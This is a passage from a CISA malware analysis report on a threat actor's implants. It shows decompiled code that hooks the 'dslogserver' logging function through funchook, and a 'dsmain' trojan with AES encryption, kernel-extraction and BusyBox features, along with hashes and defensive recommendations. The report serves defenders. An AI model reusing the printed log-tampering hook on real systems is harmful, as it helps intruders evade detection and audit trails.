If the program name is dslogserver, it detaches the shared memory containing the "g_do_syslog_servers_exist" IPC key. Next, it obtains the handle to the symbol "_ZN5DSLog4File3addEPKci" and calls 'funchook_create'. Funchook is an open source tool that allows intercepting and modifying function calls at run time. The funchook_create calls funchook_alloc, which eventually calls mmap.

The dissembled functions were renamed with the names in the opensource for readability. The TA had removed log messages in 'funchook_create' to make it difficult to identify the open source tool that was used.

Screenshots

```
int sub_1500()
{
  int v0; // eax
  __time_t *v1; // esi
  __time_t tv_sec; // eax
  __time_t *v3; // eax
  int v4; // esi
  int result; // eax
  struct timespec tp; // [esp+0h] [ebp-14h] BYREF

  dword_17E28 = (int)dlsym(0, "g_do_syslog_servers_exist");
  v0 = sub_1380();
  if ( v0 == -1 )
    return -1;
  v1 = (__time_t *)shmat(v0, 0, 0);
  if ( !v1 )
    return -1;
  clock_gettime(0, &tp);
  tv_sec = tp.tv_sec;
  v1[1] = 0;
  *v1 = tv_sec;
  v3 = (__time_t *)dword_17E28;
  if ( dword_17E28 )
  {
    v1[3] = dword_17E28;
    v1[2] = *v3;
  }
  shmdt(v1);
  dword_17E2C = (int)dlsym(0, "_ZN5DSLog4File3addEPKci");
  v4 = sub_15FB();
  if ( sub_161F(v4, &dword_17E2C, (int)sub_13F0) )
    return -1;
  result = sub_16AA(v4, 0);
  if ( result )
    return -1;
  return result;
}
```

Figure 9. - The hooking functions used against 'dslogserver'.

b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d

Tags

`trojan`

Details

Name	dsmain
Size	5102976 bytes
Type	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.16, with debug_info, not str
MD5	6e01ef1367ea81994578526b3bd331d6
SHA1	09eb513f284771461bcdc16ee28d31ce8bbe74e0
SHA256	b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d
SHA512	ecbda91571b0429be42017dddd2cb687ce696dd601cd02f2502119b8b732376cee2097069ca35ba0089387d58213c614(
ssdeep	49152:4ZLtRJ8ryYwd5OP5nz1kHKf26xZVKtom+YvFM4tAcRrhOBDKx76a:4ptVbQ5nz2SZstogttAcRrhOBu6a
Entropy	6.020899

Antivirus

ESET	Linux/Agent.AHD trojan

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

The file 'dsmain' is a 64-bit Linux ELF which contains the open source script 'extract_vmlinux.sh' and the open source tool 'BusyBox'.

The file takes three arguments (-e, -d, -g). The -e argument is used to encrypt a file with an Advance Encryption Standard (AES) key. The -d argument is used to decrypt a file using an AES key. The -g argument is used to invoke the script 'extract_vmlinux.sh' where it is written to /tmp/extract_vmlinux.sh and is used to extract the uncompressed vmlinux from a kernel image. The TA extracts vmlinux to analyze the kernel's code, identify vulnerabilities and potentially exploit the system.

BusyBox is an open-source project tool from a collection of Unix utilities that are widely used by embedded devices and industrial control systems (ICS). When a TA accesses a device running BusyBox, the TA can execute a series of BusyBox commands to perform various functions such as downloading and executing malicious payloads on the compromised device. The file 'dsmain' uses specified applets from BusyBox.

--Begin Applets Used From BusyBox--
bzcat
bzip2
cat
cpio
find
gunzip
gzip
lzop
sed
sh
strings
tail
tar
touch
tr
unlzma
unlzop
unxz

xxd

xz

--End Applets Used From BusyBox--

Relationship Summary

52bbc44eb4...	Contains	3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
3526af9189...	Contained_Within	52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

- 1-888-282-0870
- CISA Service Desk (UNCLASS)
- CISA SIPR (SIPRNET)
- CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback <https://www.cisa.gov/forms/feedback>

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via the methods below:

- Web: https://www.cisa.gov/resources-tools/services/malware-next-generation-analysis <https://www.cisa.gov/resources-tools/services/malware-next-generation-analysis>
- For larger files (over 100MB), please reach out to CISA for instructions.

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov <http://www.cisa.gov/>.

Return to top

Topics </topics> **Spotlight** </spotlight> **Resources & Tools** </resources-tools> **News & Events** </news-events> **Careers** </careers>

About </about>

CISA Central
1-844-Say-CISA SayCISA@cisa.dhs.gov